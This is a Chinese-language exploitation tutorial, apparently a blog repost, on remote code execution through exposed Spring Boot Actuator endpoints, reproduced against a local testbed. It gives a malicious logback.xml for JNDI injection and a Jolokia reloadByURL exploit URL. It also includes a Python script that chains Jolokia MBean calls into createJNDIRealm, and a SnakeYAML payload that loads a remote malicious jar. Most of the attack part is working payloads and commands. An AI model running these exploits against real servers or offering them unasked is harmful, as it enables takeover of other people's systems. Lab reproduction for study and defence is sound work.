spring boot actuator RCE

搭建漏洞环境:

git clone https://github.com/veracode-research/actuator-testbed

mvn install 或者 mvn spring-boot:run,如果遇到了报错,多半是因为网络问题导致本地mvn仓库下载不完全导致项目依赖解析出问题,解决办法点这里

本地访问一下:

关于路径问题:1.x版本的在根路径下注册路由,2.x版本则需要加/actuator/

路径            描述
/autoconfig    提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
/beans         描述应用程序上下文里全部的Bean,以及它们的关系
/env           获取全部环境属性
/configprops   描述配置属性(包含默认值)如何注入Bean
/dump          获取线程活动的快照
/health        报告应用程序的健康指标,这些值由HealthIndicator的实现类提供
/info          获取应用程序的定制信息,这些信息由info打头的属性提供
/mappings      描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
/metrics       报告各种应用程序度量信息,比如内存用量和HTTP请求计数
/shutdown      关闭应用程序,要求endpoints.shutdown.enabled设置为true
/trace         提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)

Jolokia相关漏洞利用:

前提:存在jolokia组件,且reloadByURL方法

RCE的两种方法:

1 reloadByURL 远程加载xml指定恶意的RMI服务

第一步,创建logback.xml文件,以web服务方式监听

 python3 -m http.server 80 

logback.xml文件内容如下:

<configuration>
  <insertFromJNDI env-entry-name="rmi://127.0.0.1:1097/jndi" as="appName" />
</configuration>

第二步

修改开源的简易的RMI服务中的代码,我们只需要修改代码中自己要执行的命令(红框部分)

编译jar包,mvn install或者mvn clean install等方式,或者idea自代编译等等多种方式编译

起RMI服务 java -Djava.rmi.server.hostname=127.0.0.1 -jar RMIServer-0.1.0.jar

第三步访问:以下url

http://127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1!/logback.xml

测试结果:访问url后远程加载了xml文件

执行了命令:

2 通过createJNDIRealm RCE

在页面/jolokia/list 中存在的是否存在org.apache.catalina.mbeans.MBeanFactory类提供的createJNDIRealm方法

 第一步,还是接着上面的jar包,还是弹出计算器,起RMI服务

第二部,执行python3脚本,发送数据包

python3 1.py http://127.0.0.1:8090/

脚本会发送四个数据包,最终远程加载RMI服务,导致JNDI 注入执行任意命令

脚本内容:

import requests as req
import sys
from pprint import pprint
import json
import ssl
import  urllib3
import hashlib
urllib3.disable_warnings()
ssl._create_default_https_context = ssl._create_unverified_context

url = sys.argv[1] + "/jolokia/"
pprint(url)
#创建JNDIRealm
create_JNDIrealm ={"mbean": "Tomcat:type=MBeanFactory","type": "EXEC","operation": "createJNDIRealm","arguments": ["Tomcat:type=Engine"]}
#写入contextFactory
set_contextFactory ={"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "WRITE","attribute": "contextFactory","value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
#写入connectionURL为自己公网RMI service地址
set_connectionURL = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "WRITE","attribute": "connectionURL","value": "rmi://127.0.0.1:1097/jndi"
}
#停止Realm
stop_JNDIrealm = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "EXEC","operation": "stop","arguments": []}
#运行Realm,触发JNDI 注入
start = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "EXEC","operation": "start","arguments": []}

expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]

for i in expoloit:
    rep = req.post(url, json=i)
    print(rep.content)
    # result = json.loads (rep.text)
    # pprint(rep.json())

通过yaml RCE(spring Cloud env yaml)

Spring Boot 2.x 无法利用成功 Spring Boot 1.5.x 在使用 Dalston 版本时可利用成功,使用 Edgware 无法成功 Spring Boot <= 1.4 可利用成功

第一步:编译恶意jar

git clone https://github.com/artsploit/yaml-payload.git
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

编译之,生成jar 包

 第二步:创建web服务,以及exp.yaml文件

!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:80/yaml-payload.jar"] ]]
]

起web服务

第三步:发送数据包

spring.cloud.bootstrap.location=http://127.0.0.1/exp.yaml

修改spring.cloud.bootstrap.location值

刷新,执行了命令,dnslog接收到请求

通过xstream RCE

条件 :Eureka-Client <1.8.7(多见于Spring Cloud Netflix)

参考:

https://github.com/jas502n/SpringBoot_Actuator_RCE

https://syst1m.com/post/spring-boot-rce/

猜你喜欢

转载自blog.csdn.net/qq_38376348/article/details/106976263